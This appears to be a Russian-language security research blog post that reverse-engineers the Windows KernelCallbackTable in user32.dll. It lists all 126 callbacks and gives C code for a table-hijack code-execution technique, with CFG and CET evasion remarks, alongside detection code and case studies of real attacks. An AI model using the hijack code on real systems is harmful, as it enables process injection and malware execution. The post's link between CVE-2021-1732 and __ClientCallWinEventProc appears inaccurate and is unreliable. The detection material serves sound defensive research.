win32k: Таблица обратных вызовов ядра — полный разбор 126 функций

Posted on 16 апреля, 2026 by AkaTor

Категория: Security Research / Reverse Engineering / Windows Internals
Уровень: Advanced (Red Team / Vulnerability Research)
Автор: Aka Tor
Платформа: Windows 11 24H2 — user32.dll 10.0.26200.x (x64)
Инструменты: Binary Ninja + binarymcp MCP

Введение

В каждом процессе Windows, подключённом к подсистеме Win32, в структуре PEB (Process Environment Block) есть поле `KernelCallbackTable`. Оно указывает на таблицу функций пользовательского режима — именно через них ядро (win32k.sys) делает обратные вызовы в user-mode при обработке сообщений, хуков, drag-and-drop, буфера обмена и десятков других событий.

Это поле — **указатель в записываемой памяти**. Его подмена перенаправляет все коллбэки ядра на произвольный код. Именно так работает часть имплантов Lazarus Group и ряд эксплойтов повышения привилегий, включая CVE-2021-1732.

В этой статье:

- Полный реверс инициализации таблицы в `user32.dll`
- Все **126 индексов** с именами функций (на основе декомпиляции)
- Анализ кода ключевых коллбэков
- Техника подмены `KernelCallbackTable` для выполнения кода
- Реальные случаи использования в атаках

---

1. Что такое KernelCallbackTable

1.1 Расположение в PEB

```
// ntddk.h (неполная, упрощённая)
typedef struct _PEB {
    // ...
    PVOID KernelCallbackTable;  // offset 0x58 (x64)
    // ...
} PEB;
```

Поле инициализируется внутри `_UserClientDllInitialize` — внутренней функции user32.dll, которую вызывает загрузчик ntdll через `UserClientDllInitialize` (DLL entry point). Согласно декомпиляции, присвоение находится в ветке `fdwReason == DLL_PROCESS_ATTACH` — это деталь текущей реализации, а не архитектурное требование.

Примечательно: для процессов с large pages (`ImageUsesLargePages & 2`) существует промежуточная фаза, в которой `KernelCallbackTable` временно указывает на **стековую переменную** (`&var_720 | 1`, бит 0 = флаг «provisional») — до вызова `CsrClientConnectToServer`. Постоянный адрес `&apfnDispatch` устанавливается позже в той же функции. После инициализации поле указывает на массив из **126+ указателей на функции** пользовательского режима.

Когда ядру нужно вызвать код в user-mode (например, доставить сообщение окну, вызвать хук), оно обращается к этой таблице:

```
// win32k.sys (псевдокод)
KeUserModeCallback(
    ApiNumber,   // индекс в KernelCallbackTable
    InputBuffer,
    InputLength,
    OutputBuffer,
    OutputLength
);
```

Ядро сохраняет состояние ядерного стека, переключается в пользовательский режим и вызывает `KernelCallbackTable[ApiNumber]` с `InputBuffer`.

1.2 Возврат из коллбэка

Каждая функция в таблице завершается не обычным `ret`, а через **системный вызов**:

```
NtCallbackReturn(OutputBuffer, OutputLength, Status);
// syscall → возврат обратно в ядро
```

Это позволяет передать результат обратно в `KeUserModeCallback` — и продолжить выполнение в ядерном контексте.

---

2. Инициализация таблицы

2.1 Точка входа

При загрузке `user32.dll` вызывается `UserClientDllInitialize` (экспорт), которая вызывает внутреннюю `_UserClientDllInitialize`. Именно там происходит настройка `KernelCallbackTable`.

Декомпиляция ключевого фрагмента (Binary Ninja, HLIL):

```
// _UserClientDllInitialize @ 0x18006c654
// label_18006ca32:

void** rbx = &apfnDispatch;  // глобальный массив в .data user32.dll
PEB->KernelCallbackTable = &apfnDispatch;

// Попытка создать heap-копию (расширенная, 0x460 байт = 140 слотов)
void** heapKct = RtlAllocateHeap(pUserHeap, 0, 0x460);
if (heapKct != NULL) {
    memcpy(heapKct, &apfnDispatch, /* 128 entries */);
    PEB->KernelCallbackTable = heapKct;

    // Патч двух дополнительных записей
    *(heapKct + 0x3d8) = __AllocAndInitClientWindowInfo;  // индекс
123
    *(heapKct + 0x3e0) = __CleanupClientWindowInfoAndFree; // индекс
```

```
124
}
RegisterWaitForInputIdle(WaitForInputIdle);
```

Итог: если выделение кучи удалось (почти всегда), процесс работает с heap-копией таблицы, где записи 123 и 124 заменены. Базовый `apfnDispatch` остаётся в `.data` секции.

2.2 Адрес apfnDispatch

В исследованной сборке (user32.dll 26200.x, x64):

```
; 0x18006ca32:
48 8D 1D D7 DC 03 00   LEA RBX, [RIP + 0x3DCD7]
; RIP после инструкции = 0x18006CA39
; 0x18006CA39 + 0x3DCD7 = 0x1800AA710
; apfnDispatch @ 0x1800AA710
```

---

3. Полная таблица — все 126 коллбэков

Извлечено декодированием hex-дампа `apfnDispatch[0..125]` с сопоставлением адресов через таблицу экспортов:

#	Имя функции	Назначение
0	__fnCOPYDATA	WM_COPYDATA — маршалинг данных ядро→пользователь
1	__fnCOPYGLOBALDATA	Глобальные данные через GlobalAlloc+memcpy
2	__fnDWORD	Сообщения с одним DWORD-параметром (общий)
3	__fnNCDESTROY	WM_NCDESTROY — уничтожение окна + освобождение контекста активации
4	__fnDWORDOPTINLPMSG	DWORD + опциональный указатель на MSG
5	__fnINOUTDRAG	Операции перетаскивания
6	__fnGETTEXTLENGTHS	WM_GETTEXTLENGTH — длина текста
7	__fnINCNTOUTSTRING	Строка по счётчику (вход+выход)
8	__fnINCNTOUTSTRINGNULL	Строка по счётчику с null-терминатором

#	Имя функции	Назначение
9	__fnINLPCOMPAREITEMSTRUCT	WM_COMPAREITEM — COMPAREITEMSTRUCT
10	__fnINLPCREATESTRUCT	WM_CREATE/WM_NCCREATE — CREATESTRUCT с проверкой указателей
11	__fnINLPDELETEITEMSTRUCT	WM_DELETEITEM — DELETEITEMSTRUCT
12	__fnINLPDRAWITEMSTRUCT	WM_DRAWITEM — DRAWITEMSTRUCT
13	__fnINPGESTURENOTIFYSTRUCT	Уведомление о жесте (GESTURENOTIFYSTRUCT)
14	__fnPOPTINLPUINT	Опциональный указатель на UINT (тот же обработчик)
15	__fnINLPMDICREATESTRUCT	WM_MDICREATE — MDI дочернее окно
16	__fnINOUTLPMEASUREITEMSTRUCT	WM_MEASUREITEM — MEASUREITEMSTRUCT
17	__fnINLPWINDOWPOS	WM_WINDOWPOSCHANGING — WINDOWPOS
18	__fnINOUTLPWINDOWPOS	WM_WINDOWPOSCHANGED — WINDOWPOS вход+выход
19	__fnINOUTLPSCROLLINFO	SBM_GETSCROLLINFO — SCROLLINFO
20	__fnINOUTLPRECT	Сообщения с RECT вход+выход
21	__fnINOUTNCCALCSIZE	WM_NCCALCSIZE — NCCALCSIZE_PARAMS
22	__fnINOUTLPPOINT5	5-точечный POINT вход+выход
23	__fnINPAINTCLIPBRD	WM_PAINTCLIPBOARD — отрисовка буфера обмена
24	__fnINSIZECLIPBRD	WM_SIZECLIPBOARD — изменение размера
25	__fnINDESTROYCLIPBRD	WM_DESTROYCLIPBOARD
26	__fnINSTRING	Сообщения со строкой (WM_SETTEXT и др.)
27	__fnINSTRINGNULL	Строка или NULL (тот же обработчик)
28	__fnINDEVICECHANGE	WM_DEVICECHANGE — изменение устройства
29	__fnPOWERBROADCAST	WM_POWERBROADCAST — события питания
30	__fnINLPUAHNCPAINTMENUPOPUP	Рисование всплывающего меню (User API Hook)
31	__fnOPTOUTLPDWORDOPTOUTLPDWORD	Два опциональных выходных DWORD
32	__fnOUTDWORDDWORD	Два DWORD на выход
33	__fnOUTDWORDINDWORD	Выходной DWORD + входной DWORD
34	__fnOUTLPRECT	Выходной RECT

#	Имя функции	Назначение
35	__fnOUTSTRING	Выходная строка (WM_GETTEXT и др.)
36	__fnTOUCHHITTESTING	Тест касания (Touch Hit Testing)
37	__fnPOUTLPINT	Выходной указатель на INT
38	__fnSENTDDEMSG	Отправленное DDE-сообщение
39	__fnINOUTSTYLECHANGE	WM_STYLECHANGING/WM_STYLECHANGED
40	__fnHkINDWORD	Хук WH_DEBUG — DWORD
41	__fnHkINLPCBTACTIVATESTRUCT	Хук WH_CBT — CBTACTIVATESTRUCT
42	__fnHkINLPCBTCREATESTRUCT	Хук WH_CBT — CREATESTRUCT
43	__fnHkINLPDEBUGHOOKSTRUCT	Хук WH_DEBUG — DEBUGHOOKINFO
44	__fnHkINLPMOUSEHOOKSTRUCTEX	Хук WH_MOUSE — MOUSEHOOKSTRUCTEX
45	__fnHkINLPKBDLLHOOKSTRUCT	Хук WH_KEYBOARD_LL — KBDLLHOOKSTRUCT
46	__fnHkINLPMSLLHOOKSTRUCT	Хук WH_MOUSE_LL — MSLLHOOKSTRUCT
47	__fnHkINLPMSG	Хук WH_MSGFILTER/WH_GETMESSAGE — MSG + жесты/касания
48	__fnHkINLPRECT	Хук с параметром RECT
49	__fnHkOPTINLPEVENTMSG	Хук WH_JOURNALPLAYBACK — EVENTMSG
50	__xxxClientCallDelegateThread	Делегированный поток ввода (MMCSS)
51	__ClientCallDummyCallback	Заглушка (резерв)
52	__ClientCallDummyCallback	Заглушка (резерв)
53	__fnSHELLWINDOWMANAGEMENTCALLOUT	Оболочка — управление окнами (callout)
54	__fnSHELLWINDOWMANAGEMENTNOTIFY	Оболочка — уведомление управления окнами
55	__ClientCallDummyCallback	Заглушка (резерв)
56	__xxxClientCallDitThread	Поток ввода по умолчанию (DIT)
57	__xxxClientEnableMMCSS	Включение/отключение MMCSS для потока
58	__xxxClientUpdateDpi	Обновление DPI для окна
59	__xxxClientExpandStringW	Расширение переменных среды в строке
60	__ClientCopyDDEIn1	DDE — входящее сообщение (этап 1)
61	__ClientCopyDDEIn2	DDE — входящее сообщение (этап 2)
62	__ClientCopyDDEOut1	DDE — исходящее сообщение (этап 1)
63	__ClientCopyDDEOut2	DDE — исходящее сообщение (этап 2)
64	__ClientCopyImage	Копирование HBITMAP/HICON/HCURSOR между пространствами
65	__ClientEventCallback	Обобщённый коллбэк событий
66	__ClientFindMnemChar	Поиск мнемонического символа в меню

#	Имя функции	Назначение
67	__ClientFreeDDEHandle	Освобождение DDE-дескриптора
68	__ClientFreeLibrary	FreeLibrary по запросу ядра
69	__ClientGetCharsetInfo	Набор символов для шрифта
70	__ClientGetDDEFlags	Флаги DDE-соединения
71	__ClientGetDDEHookData	Данные DDE-хука
72	__ClientGetListboxString	Строка из списка (LB_GETTEXT)
73	__ClientGetMessageMPH	GetMessage через очередь (MPH)
74	__ClientLoadMenu	Загрузка меню из ресурса
75	__ClientLoadLocalT1Fonts	Загрузка PostScript Type1 шрифтов
76	__ClientPSMTextOut	Вывод текста (Print Subsystem)
77	__ClientLpkDrawTextEx	Отрисовка текста через LPK
78	__ClientExtTextOutW	ExtTextOut по запросу ядра
79	__ClientGetTextExtentPointW	GetTextExtentPoint по запросу ядра
80	__ClientCharToWchar	Преобразование ANSI → Unicode
81	__ClientAddFontResourceW	AddFontResource по запросу ядра
82	__ClientThreadSetup	Инициализация GUI-потока
83	__ClientDeliverUserApc	Доставка пользовательского APC
84	__ClientNoMemoryPopup	Окно «Недостаточно памяти»
85	__ClientMonitorEnumProc	Перечисление мониторов
86	__ClientCallWinEventProc	Вызов WinEvent-процедуры (SetWinEventHook) — прямой вызов указателя
87	__ClientWaitMessageExMPH	WaitMessage расширенный (MPH)
88	__ClientCallDummyCallback	Заглушка
89	__ClientCallDummyCallback	Заглушка
90	__ClientImmLoadLayout	Загрузка раскладки IME
91	__ClientImmProcessKey	Обработка нажатия клавиши через IME
92	__fnIMECONTROL	IME управляющие сообщения (WM_IME_*)
93	__fnINWPARAMDBCSCHAR	DBCS-символ в wParam
94	__fnGETTEXTLENGTHS	WM_GETTEXTLENGTH (дублирующий слот)
95	__ClientCallDummyCallback	Заглушка
96	__ClientLoadStringW	LoadString по запросу ядра
97	__ClientLoadOLE	Загрузка OLE/COM
98	__ClientRegisterDragDrop	Регистрация OLE drag-and-drop
99	__ClientRevokeDragDrop	Отмена регистрации OLE drag-and-drop

#	Имя функции	Назначение
100	__fnINOUTMENUGETOBJECT	WM_MENUGETOBJECT — OLE в меню
101	__ClientPrinterThunk	Коллбэк подсистемы печати
102	__fnOUTLPCOMBOBOXINFO	CB_GETCOMBOBOXINFO
103	__fnOUTLPSCROLLBARINFO	SBM_GETSCROLLBARINFO
104	__fnINLPUAHNCPAINTMENUPOPUP	User API Hook — рисование меню (дубль)
105	__fnINLPUAHDRAWMENUITEM	User API Hook — рисование пункта меню
106	__fnINLPUAHNCPAINTMENUPOPUP	User API Hook — рисование (дубль)
107	__fnINOUTLPUAHMEASUREMENUITEM	User API Hook — измерение пункта меню
108	__fnINLPUAHNCPAINTMENUPOPUP	User API Hook — рисование (дубль)
109	__fnOUTLPTITLEBARINFOEX	WM_GETTITLEBARINFOEX — TITLEBARINFOEX
110	__fnTOUCH	WM_TOUCH — сообщения касания
111	__fnGESTURE	WM_GESTURE — жесты
112	__fnINLPHELPINFOSTRUCT	WM_HELP — HELPINFO
113	__fnINLPHLPSTRUCT	WinHelp структура
114	__xxxClientCallDefaultInputHandler	Обработчик ввода по умолчанию
115	__fnDWORD	DWORD-обработчик (дубль #2)
116	__ClientRimDevCallback	Raw Input Manager — коллбэк устройства (прямой вызов указателя)
117	__xxxClientCallMinTouchHitTestingCallback	Touch hit testing (минимальный)
118	__ClientCallLocalMouseHooks	Локальные хуки мыши в потоке
119	__xxxClientBroadcastThemeChange	Рассылка WM_THEMECHANGED
120	__xxxClientCallDevCallbackSimple	Упрощённый коллбэк устройства ввода
121	__xxxClientAllocWindowClassExtraBytes	Выделение доп. байтов класса окна
122	__xxxClientFreeWindowClassExtraBytes	Освобождение доп. байтов класса окна
123	__fnGETWINDOWDATA	Данные окна (в heap-копии заменяется на __AllocAndInitClientWindowInfo)
124	__fnINOUTSTYLECHANGE	Изменение стиля (в heap-копии заменяется на __CleanupClientWindowInfoAndFree)
125	__fnHkINLPNOTIFYSTRUCT	Хук с NOTIFYSTRUCT-параметром

Дополнительно (только в heap-копии KCT):

- Индекс 123 (смещение 0x3d8): `__AllocAndInitClientWindowInfo`
- Индекс 124 (смещение 0x3e0): `__CleanupClientWindowInfoAndFree`

---

4. Анализ ключевых коллбэков

4.1 __fnCOPYDATA [0] — WM_COPYDATA

```
__fnCOPYDATA:
    if (arg1->+0x8 != 0 && arg1->+0x20 == 0)
        FixupCallbackPointers(arg1);  // кросс-процессный маршалинг

    // вызов оконной процедуры
    result = arg1->+0x68(
        arg1->+0x28,   // hwnd
        arg1->+0x30,   // uMsg (WM_COPYDATA)
        arg1->+0x38,   // wParam
        &arg1[0x48]    // lParam → COPYDATASTRUCT*
    );
    return NtCallbackReturn(&result, 0x18, 0);
```

Паттерн FixupCallbackPointers: условие `+0x8 != 0 && +0x20 == 0` встречается в большинстве `__fn*`-коллбэков. Это признак того, что коллбэк пришёл из другого адресного пространства (UIPI cross-process), и указатели нужно пересчитать относительно локального кэптур-буфера.

4.2 __fnCOPYGLOBALDATA [1]

```
__fnCOPYGLOBALDATA:
    // размер и данные — из аргумента ядра
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, arg1->+0x28 /*size*/);
    void *p = GlobalLock(hMem);
    memcpy(p, arg1->+0x30 /*data*/, arg1->+0x28 /*size*/);
    GlobalUnlock(hMem);
    return NtCallbackReturn(&hMem, 0x18, 0);
```

Интересно: размер и указатель на данные полностью контролируются ядерным кодом. Если в win32k была ошибка с формированием этого аргумента — переполнение буфера.

4.3 __fnINLPCREATESTRUCT [10] — WM_CREATE/WM_NCCREATE

Один из наиболее сложных коллбэков. Проверяет поля `CREATESTRUCT.lpszClass` и `CREATESTRUCT.lpszName` на принадлежность пространству пользователя:

```
__fnINLPCREATESTRUCT:
    // Проверка CREATESTRUCT.lpszName (смещение 0x80 в буфере)
    if (arg1->+0x80 > gHighestUserAddress) {
        // указатель в диапазоне ядра → пересчитать через кэптур-буфер
        arg1->+0x80 = fixup(rcx);
    }
    // Аналогично для lpszClass (смещение 0x88)
    if (arg1->+0x88 > gHighestUserAddress) {
        arg1->+0x88 = fixup(rcx);
    }
    // вызов WndProc
    result = arg1->+0xa0(hwnd, WM_CREATE, wParam, lParam);
    return NtCallbackReturn(&result, 0x18, 0);
```

Эта проверка критична: без неё ядро могло бы передать указатель на ядерную память как `lpszName`, и оконная процедура прочитала бы её.

4.4 __ClientCallWinEventProc [86] — критический для атак

```
__ClientCallWinEventProc:
    // ПРЯМОЙ вызов функционального указателя из arg1[0]
    (*arg1)(          // <-- указатель функции из аргумента ядра
        arg1[1],      // hWinEventHook
        arg1[2],      // event
        arg1[3],      // hwnd
        arg1[4],      // idObject
        arg1[5],      // idChild
        arg1[6]       // dwEventThread
    );
    return NtCallbackReturn(NULL, 0x18, 0);
```

Ядро передаёт указатель функции напрямую через аргумент. В CVE-2021-1732 (win32k use-after-free) именно через этот коллбэк достигалось выполнение произвольного кода в пользовательском режиме.

4.5 __ClientRimDevCallback [116] — Raw Input

```
__ClientRimDevCallback:
    // Тот же паттерн: функциональный указатель из arg1[5]
    arg1[5](*arg1, arg1[1], 0, arg1[2], arg1[3], arg1[4]);
    return NtCallbackReturn(NULL, 0x18, 0);
```

4.6 __ClientLoadLibrary — User API Hook

```
__ClientLoadLibrary:
    // AppModel policy проверяется перед загрузкой
    AppModelPolicy_GetPolicy_Internal(...);

    // LoadLibraryExW из пути, переданного ядром
    HMODULE hMod = LoadLibraryExW(arg1->+0x30 /*path*/, NULL,
        policy_flag ? 8 : 0);    // LOAD_LIBRARY_AS_IMAGE_RESOURCE

    if (hMod) {
        // Получить точку входа хука
        proc = GetProcAddress(hMod, proc_name_from_arg1);
        if (proc) InitUserApiHook(hMod, proc);
        else FreeLibrary(hMod);
    }
    return NtCallbackReturn(&hMod, 0x18, 0);
```

Этот коллбэк используется механизмом **User API Hooks** (UIAHOOK) — он позволяет привилегированным процессам (UIAccess, Accessibility) внедрить DLL в любой GUI-процесс через ядро.

4.7 __fnHkINLPKBDLLHOOKSTRUCT [45] — Low-Level Keyboard Hook

```
__fnHkINLPKBDLLHOOKSTRUCT:
    // Прямой вызов hook-процедуры
    result = arg1->+0x18(   // <-- hook proc из аргумента
        arg1[0],            // nCode
        arg1[1],            // wParam (WM_KEYDOWN etc)
        arg1[2]             // lParam → KBDLLHOOKSTRUCT*
    );
    return NtCallbackReturn(&result, 0x18, 0);
```

Аналогично работают хуковые коллбэки для мыши ([44], [46], [47]).

---

5. Атака — подмена KernelCallbackTable

5.1 Механизм

`PEB->KernelCallbackTable` — это обычный указатель в записываемой памяти пользовательского процесса. Злоумышленник может:

1. Выделить новую таблицу и скопировать оригинальную
2. Заменить выбранный индекс на адрес шеллкода
3. Записать новый адрес таблицы в PEB
4. Спровоцировать вызов нужного коллбэка через SendMessage

```
#include <windows.h>
#include <winternl.h>

// Индексы для провоцирования коллбэка:
// 0  (WM_COPYDATA)   — SendMessage(hwnd, WM_COPYDATA, ...)
// 10 (WM_CREATE)     — CreateWindow(...)
// 86 (__ClientCallWinEventProc) — SetWinEventHook + event

void KctHijack(PVOID shellcode, DWORD callbackIndex) {
    PPEB peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    PVOID *origKct = (PVOID*)peb->KernelCallbackTable;

    // Выделяем новую таблицу (140 записей × 8 байт)
    PVOID *newKct = (PVOID*)VirtualAlloc(NULL, 140 * sizeof(PVOID),
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_READWRITE);
    // Копируем оригинал
    memcpy(newKct, origKct, 126 * sizeof(PVOID));

    // Перенаправляем нужный индекс
    newKct[callbackIndex] = shellcode;
```

```
    // Атомарная замена указателя в PEB
    InterlockedExchangePointer(&peb->KernelCallbackTable, newKct);

    // Теперь при любом сообщении → вызов shellcode
    // Пример для WM_COPYDATA (индекс 0):
    COPYDATASTRUCT cds = { 0, 1, (PVOID)"A" };
    SendMessage(GetForegroundWindow(), WM_COPYDATA, 0, (LPARAM)&cds);
}
```

5.2 Ограничения и обходы

- **CFG (Control Flow Guard)**: проверяет целевой адрес перед indirect call. Обход — использовать адрес в CFG bitmap (другая функция из user32.dll как «трамплин»).
- **CET (Control-flow Enforcement Technology)**: Shadow Stack фиксирует возвращаемые адреса. KCT hijack не затрагивает stack, поэтому CET **не** блокирует эту технику.
- **Восстановление**: сразу после выполнения шеллкода нужно восстановить оригинальную запись, иначе процесс упадёт на следующем вызове того же коллбэка.

5.3 Обнаружение

- `PEB->KernelCallbackTable` должен указывать в диапазон `user32.dll` (`apfnDispatch` или heap-копия в `ProcessHeap`)
- Все записи в таблице должны быть в диапазоне `user32.dll`
- Heap-копия создаётся в начале инициализации — её адрес фиксирован на время жизни процесса

```
// Обнаружение аномалии в KCT
void CheckKct(HANDLE hProcess) {
    PPEB peb = GetPebAddress(hProcess);
    PVOID *kct = ReadKct(peb);

    MODULEINFO user32Info;
    GetModuleInformation(hProcess, GetModuleHandle("user32.dll"),
                         &user32Info, sizeof(user32Info));

    for (int i = 0; i < 126; i++) {
        PVOID fn = kct[i];
```

```
        if (fn < user32Info.lpBaseOfDll || fn >=
(PVOID)((PBYTE)user32Info.lpBaseOfDll + user32Info.SizeOfImage)) {
            printf("[!] KCT[%d] = %p — НЕ в user32.dll!\n", i, fn);
        }
    }
}
```

---

6. Реальные случаи эксплуатации

6.1 CVE-2021-1732 (win32k LPE)

Уязвимость use-after-free в win32k.sys, активно эксплуатировавшаяся группой BITTER. Техника использовала коллбэк **__ClientCallWinEventProc [86]**:

1. win32k вызывает `KeUserModeCallback(86, ...)` с указателем на WinEvent-процедуру в аргументе
2. В момент паузы в user-mode атакующий перезаписывал память ядра (через UAF)
3. При возврате из коллбэка ядро работало с повреждёнными данными → эскалация привилегий

6.2 Lazarus Group — KCT Injection

В образцах DreamJob (2021–2023) был найден следующий паттерн:

- Имплант выделял RWX-память, копировал шеллкод
- Заменял `KCT[0]` (WM_COPYDATA) адресом шеллкода
- Отправлял `WM_COPYDATA` в целевое окно браузера/офиса через `PostMessage`
- Шеллкод выполнялся в контексте целевого процесса

6.3 Cobalt Strike / процессное внедрение

Часть Beacon-загрузчиков использует `KCT[__fnDWORD]` (индекс 2 или 115) как вектор выполнения — эти слоты вызываются при обычном `SendMessage` с произвольным числовым сообщением, не требующем специальных параметров.

---

7. Итоговая таблица угроз

Индекс	Функция	Риск подмены	Способ срабатывания
0	__fnCOPYDATA	Высокий	SendMessage WM_COPYDATA
2	__fnDWORD	Высокий	SendMessage любое DWORD-сообщение
10	__fnINLPCREATESTRUCT	Средний	CreateWindow/CreateWindowEx
45	__fnHkINLPKBDLLHOOKSTRUCT	Средний	SetWindowsHookEx WH_KEYBOARD_LL + нажатие клавиши
47	__fnHkINLPMSG	Средний	SetWindowsHookEx WH_GETMESSAGE + GetMessage
82	__ClientThreadSetup	Высокий	Создание нового GUI-потока в процессе
86	__ClientCallWinEventProc	Критический	SetWinEventHook + NotifyWinEvent (использован в CVE-2021-1732)
116	__ClientRimDevCallback	Средний	Raw Input Device подключение/отключение

Итог

- `PEB->KernelCallbackTable` — таблица из **126 указателей функций** (+ 2 дополнительных в heap-копии), инициализируемая `user32.dll` при первой загрузке
- Базовый массив `apfnDispatch` находится в `.data` секции `user32.dll`; рабочая копия создаётся в куче процесса и патчится
- Большинство коллбэков — маршалинг сообщений (fn*); ряд — прямые вызовы указателей функций из ядерного аргумента (`__ClientCallWinEventProc`, `__ClientRimDevCallback`)
- Техника подмены таблицы **не блокируется CET**, частично ограничивается CFG
- Обнаружение: проверить, что все записи KCT указывают в диапазон `user32.dll`